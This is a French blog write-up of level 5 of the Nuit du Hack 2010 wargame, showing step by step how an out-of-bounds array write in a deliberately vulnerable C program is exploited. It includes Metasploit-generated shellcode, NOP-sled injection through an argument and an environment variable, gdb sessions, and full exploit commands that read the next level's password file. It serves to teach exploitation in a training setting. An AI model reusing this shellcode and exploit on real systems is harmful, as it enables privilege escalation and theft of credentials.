vendredi 16 juillet 2010

level 5 wargame NDH2010 - tutoriel exploitation buffer-overflow - injection dans une variable d'environnement

Cet article décrit la résolution de l'épreuve n°5 du wargame de la Nuit du hack 2010. Il s'agit d'une variante d'exploitation d'un buffer overflow. Nouveautés: nous utilisons ici la version console de Metasploit (msfconsole). Nous abordons également l'injection de shellcode dans une variable d'environnement du système.


solution


$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')

le buffer overflow

Voyons le source de l'exécutable
level5@srv-public:~$ cat ./level5.c
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>

// gcc -o level5 level5.c -fno-stack-protect    or -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
    int array[32];

    array[frame] = value;
    printf("fill case %d with %d.\n", frame, value);
    return;
}

int main(int argc, char **argv) {
    if (argc != 3)
        printf("syntax: %s [slot] [val]\n", argv[0]);
    else
        setArray(atoi(argv[1]), atoi(argv[2]));
    exit(0);
}
Au début de la fonction setArray(), nous avons un tableau d'entiers de taille 32 ( int array[32] ). Comme nous controlons l'argument frame, nous pouvons écrire dans la 32ème case (ou plus. Les cases attendues sont numérotées entre 0 et 31) et ainsi dépasser le tampon mémoire alloué au tableau. Nous choisissons 33, nous verrons plus tard pourquoi:
level5@srv-public:~$ ./level5 33 1  
fill case 33 with 1.
Erreur de segmentation

astuce: le buffer overflow est un dépassement de la taille du tableau d'entiers

contrôler l'adresse de retour

Voyons dans gdb:
level5@srv-public:~$ gdb level5
(gdb) disassemble setArray
Dump of assembler code for function setArray:
   0x08048424 <+0>:    push   %ebp
   0x08048425 <+1>:    mov    %esp,%ebp
   0x08048427 <+3>:    sub    $0x8c,%esp
   0x0804842d <+9>:    mov    0x8(%ebp),%eax
   0x08048430 <+12>:    mov    0xc(%ebp),%edx
   0x08048433 <+15>:    mov    %edx,-0x80(%ebp,%eax,4)
   0x08048437 <+19>:    mov    $0x8048580,%eax
   0x0804843c <+24>:    mov    0xc(%ebp),%edx
   0x0804843f <+27>:    mov    %edx,0x8(%esp)
   0x08048443 <+31>:    mov    0x8(%ebp),%edx
   0x08048446 <+34>:    mov    %edx,0x4(%esp)
   0x0804844a <+38>:    mov    %eax,(%esp)
   0x0804844d <+41>:    call   0x8048340
   0x08048452 <+46>:    leave
   0x08048453 <+47>:    ret  
End of assembler dump.

placons un breakpoint sur l'instruction RET de la fonction setArray():
(gdb) break * setArray+47
Breakpoint 1 at 0x8048453

et lancons:
(gdb) run 33 1
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
Nous pouvons écrire directement sur l'adresse de retour. En effet, comme le tableau est défini au début de la fonction, la pile ressemble à:

+-----------------+
 |   array           |
+-----------------+
 |   ebp             |
+-----------------+
 |   eip              |
+-------- --------+

Un entier signé ou non signé est codé sur 4 octets (32 bits), ce qui correspond à une ligne mémoire (microprocesseur 32 bits). Donc en écrivant dans la 32ème case du tableau, nous écrasons ebp. En écrivant dans la 33ème, nous écrivons directement sur eip.

payload

Utilisons metasploit pour générer notre payload. L'encodeur par défaut place des /x00 dans le shellcode, ce qui est incompatible avec l'utilisation d'une chaîne de caractère pour l'injecter. Nous choisissons donc un autre encodeur.
$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER [TAB][TAB]
set ENCODER cmd/generic_sh          set ENCODER sparc/longxor_tag       set ENCODER x86/countdown
set ENCODER cmd/ifs                 set ENCODER x64/xor                 set ENCODER x86/fnstenv_mov
set ENCODER cmd/printf_util         set ENCODER x86/alpha_mixed         set ENCODER x86/jmp_call_additive
set ENCODER generic/none            set ENCODER x86/alpha_upper         set ENCODER x86/nonalpha
set ENCODER mipsbe/longxor          set ENCODER x86/avoid_utf8_tolower  set ENCODER x86/nonupper
set ENCODER mipsle/longxor          set ENCODER x86/call4_dword_xor     set ENCODER x86/shikata_ga_nai
set ENCODER php/base64              set ENCODER x86/context_cpuid       set ENCODER x86/single_static_bit
set ENCODER ppc/longxor             set ENCODER x86/context_stat        set ENCODER x86/unicode_mixed
set ENCODER ppc/longxor_tag         set ENCODER x86/context_time        set ENCODER x86/unicode_upper

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level6/passwd"
CMD => cat ../level6/passwd

msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level6/passwd
buf =
"\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42" +
"\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58" +
"\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62" +
"\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55" +
"\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35" +
"\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63" +
"\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61" +
"\x4a\x6d\x4f\x70\x41\x41"

injection du payload, methode n°1: dans le buffer fourni par main() (nécessite gdb)

injection du payload

Nous injecterons notre exploit par le second argument de la fonction main():
$ ./level5 33 [EXPLOIT]

Notre exploit sera stocké tel quel sur la pile par la fonction main(). Puis la fonction atoi() sera appelée et le résultat sera ajouté plus haut sur la pile (placé dans le buffer de notre tableau). La fonction atoi() ne renverra les premiers entiers trouvés dans la chaine sans prendre en compte la suite de la chaine. Voyons cela:
(gdb) file level5
Reading symbols from /home/level5/level5...(no debugging symbols found)...done.

(gdb) break * setArray+47
Breakpoint 1 at 0x8048453

Nous utilisons d'abord le chiffre 1 dans la chaine passée en argument:
(gdb) run 33 1
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()

(gdb) stepi
0x00000001 in ?? ()

La fonction atoi() renvoie l'entier 1. A présent, passons "1A" comme argument. Nous voyons que le A n'est pas interprété par la fonction atoi():
(gdb) run 33 1A
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 1A
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()

(gdb) stepi
0x00000001 in ?? ()

astuce: atoi() n'interprete que les entiers, pas les caractères.

Nous pouvons donc injecter [ADDRESS][A][NOPs][PAYLOAD]

Au total, nous avons : 376 octets (nous choisissons le nombre de NOPs pour avoir un multiple de 4. Ici, il suffirait d'un multiple de deux, mais c'est une bonne habitude à avoir en 32 bits)

astuce: taille totale de notre shellcode multiple de 4

[ADRESS] = 4 octets
[A] = 1 octet
[NOPs] = 197 octets
[PAYLOAD] = 174 octets

adresse du payload


Cherchons l'adresse des arguments de main() en mémoire. Pour cela, nous devons avoir un argument de taille égale à celle de notre shellcode.

astuce: trouver l'adresse de notre payload nécessite d'utiliser un argument test de même taille que notre shellcode

(gdb) break * main

(gdb) run 33 $(perl -e 'print "A"x376')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level5/level5 33 $(perl -e 'print "A"x376')
fill case 33 with 0.

Breakpoint 1, 0x08048453 in setArray ()
(gdb) x/300x $esp
(...)
0xbffff808:    0x69000000    0x00363836    0x2f000000    0x656d6f68
0xbffff818:    0x76656c2f    0x2f356c65    0x6576656c    0x3300356c
0xbffff828:    0x41410033    0x41414141    0x41414141    0x41414141
0xbffff838:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff848:    0x41414141    0x41414141    0x41414141    0x41414141
(...)
L'adresse du début de notre buffer est 0xbffff82a.

Comme nous ajouterons 200 NOP, nous pourrons choisir une adresse entre 0xbffff82a et 0xbffff8f2, puis la transformerons en décimal. Nous choisissons par exemple 0xbffff870 (éviter les \x00 et les \x20 )

Cependant, atoi() renvoit un entier signé. Cela signifie que 1 renvoie 0x00000001 et -1 renvoie 0xffffffff. La limite en valeur absolue est 0x7fffffff
En effet:
(gdb) run 33 4000000000000000
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 4000000000000000
fill case 33 with 2147483647.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x7fffffff in ?? ()

Astuce: utilisons un entier négatif pour sauter sur notre shellcode.

 0xbffff870 => - 0x4000078f  => -1073743760

Voici donc notre exploit:
[ADDRESS] = "-1073743759"
[A] = "A"
[NOPs} = $( perl -e 'print "\x90"x197' )
[PAYLOAD] = "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"

Essayons:

$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
MOT DE PASSE


injection du payload, methode n°2: dans une variable d'environnement

injection du payload

copions les NOP et le PAYLOAD dans une variable d'environnement:
level5@srv-public:~$ export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')

adresse du payload


Voici un programme pour trouver l'adresse de notre shellcode : (attention, nous avons ajouté un espace dans < stdio.h> pour des compatibilités d'affichage sous BLOGGER.

level5@srv-public:~$ vim /tmp/inject.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

int main(int argc, char **argv) {
    char *ptr;
    ptr = getenv(argv[1]);
    if( ptr == NULL )
        printf("%s not found\n", argv[1]);
    else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
    return 0;
}
compilons:
level5@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c
exécutons:
level5@srv-public:~$ /tmp/getenvaddress LOL
LOL found at bffffe5d
Transformons cette adresse en décimal et ajoutons 100 octets (pour sauter au milieu des NOPs :
0xbffffe5d => -0x400001a2 => -1073742242 => -1073742142

puis injectons:
level5@srv-public:~$ ./level5 33 -1073742142
fill case 33 with -1073742142.
MOT DE PASSE

références

linux x86 exec payload options - http://www.metasploit.com/modules/payload/linux/x86/exec
tuto msf console - http://www.offensive-security.com/metasploit-unleashed/msfconsole
getenv() http://www.opengroup.org/onlinepubs/000095399/functions/getenv.html

1 commentaire:

  1. Belle solution la méthode 1, fallait effectivement y penser :).

    Pour l'arithmétique signée, je me permet d'apporter des précisions supplémentaires.

    Un nombre signés de 32 bits se présentent sous la forme suivante :
    [bit de signe][31 bit]
    On a donc un range entre :
    -2^31 <= num <= 2^31 - 1 (prise en compte du zéro ;))

    Le calcul des nombres signés se fait avec le complément à 2.
    On inverse les bits (complément à 1)
    On ajoute 1 (complément à 2)

    Par exemple :
    13 (d)
    00001101 (b)
    11110010 (b)
    ----
    11110011 (b)

    -13 vaut donc 11110011 sur un octet.

    Si on veut le nombre sur un plus grand nombre de bits, on va faire une opération qu'on appel le sign extend :
    Sur 8 bits :
    11110011
    Sur 16 bits :
    1111111111110011

    Pour les nombres positifs, on fait un zero extend :
    13 sur 8 bits :
    00001101
    13 sur 16 bits :
    0000000000001101

    Le zero extend et sign extend sont valables uniquement pour les nombres signés.
    Pour les nombres non signés, un simple xoring + mov suffisent généralement ;).

    Si on a une addresse genre :
    0xBFFFD770
    On a le MSB qui vaut 1 et vu qu'on est en arithmétique signée, on a donc un nombre négatif.

    On retrouve la valeur qu'on veut injecter :
    0xBFFFD770 - 1 = 0xBFFFD76F
    NEG(0xBFFFD76F) = 0x4000288F

    0x4000288F = 1073752207
    0xBFFFD770 = -1073752207

    Have phun ;).

    RépondreSupprimer